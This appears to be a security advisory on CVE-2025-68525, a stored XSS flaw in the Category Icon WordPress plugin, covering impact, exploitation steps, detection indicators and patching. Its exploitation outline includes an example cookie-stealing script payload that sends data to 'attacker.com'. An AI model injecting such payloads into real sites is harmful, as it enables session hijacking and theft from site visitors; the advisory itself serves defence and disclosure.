CVE-2025-68525: 
WordPress vulnerability analysis and mitigation

CVE-2025-68525 is a Stored Cross-Site Scripting (XSS) vulnerability in the pixelgrade Category Icon WordPress plugin, affecting all versions up to and including 1.0.2. The flaw allows authenticated attackers with Editor-level privileges or higher to inject persistent malicious scripts into web pages. It was reported by Nabil Irawan on November 25, 2025, and publicly disclosed on December 24–25, 2025. The vulnerability carries a CVSS v3.1 base score of 5.9 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a Stored XSS variant. An attacker with Editor-level access can inject unsanitized HTML or JavaScript payloads through the plugin's category icon input fields; these payloads are stored server-side and rendered to site visitors without proper output encoding. Exploitation requires high privileges (Editor role) and user interaction from a privileged user, but the injected script executes in the browsers of any visitor who loads the affected page (Patchstack).

Successful exploitation allows an attacker to inject persistent malicious scripts — such as redirects, advertisements, credential-harvesting forms, or arbitrary HTML payloads — that execute in the browsers of all visitors to the affected WordPress site. This can result in session hijacking, phishing, defacement, or drive-by malware distribution targeting site visitors. Confidentiality, integrity, and availability are all affected at a low level, with scope change indicating cross-context impact beyond the plugin itself (Patchstack).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-68525. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack rates this as low priority and notes it is unlikely to be exploited, though similar XSS vulnerabilities in WordPress plugins are sometimes leveraged in mass-exploit campaigns (Patchstack).

1. Privilege Acquisition: Obtain or compromise an account with Editor-level (or higher) privileges on the target WordPress site running Category Icon plugin version ≤ 1.0.2.
2. Navigate to Plugin Settings: Access the WordPress admin panel and locate the Category Icon plugin's configuration interface for managing category icons.
3. Inject Malicious Payload: In the category icon input field, enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) instead of a legitimate icon value.
4. Save and Persist: Submit/save the configuration; the unsanitized payload is stored in the WordPress database.
5. Trigger Execution: When any site visitor (including administrators) loads a page that renders the affected category icon, the injected script executes in their browser, enabling session theft, phishing, or further attacks (Patchstack).

• Logs: WordPress admin audit logs showing unexpected edits to category icon settings by Editor-level accounts; access logs with unusual POST requests to category/plugin settings endpoints.
• File System: Unexpected modifications to WordPress database entries related to category icon metadata containing <script>, javascript:, or encoded variants.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages with category icons; unusual traffic patterns to attacker-controlled infrastructure.
• Page Content: Presence of unexpected <script> tags, <iframe> elements, or obfuscated JavaScript within rendered category icon HTML on the front end.

The vendor has released version 1.0.3 of the Category Icon plugin, which patches this vulnerability. Site administrators should update the plugin to version 1.0.3 or later immediately via the WordPress admin dashboard or by downloading from the official plugin repository. If an immediate update is not possible, consider temporarily deactivating the plugin or restricting Editor-level access to trusted users only. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).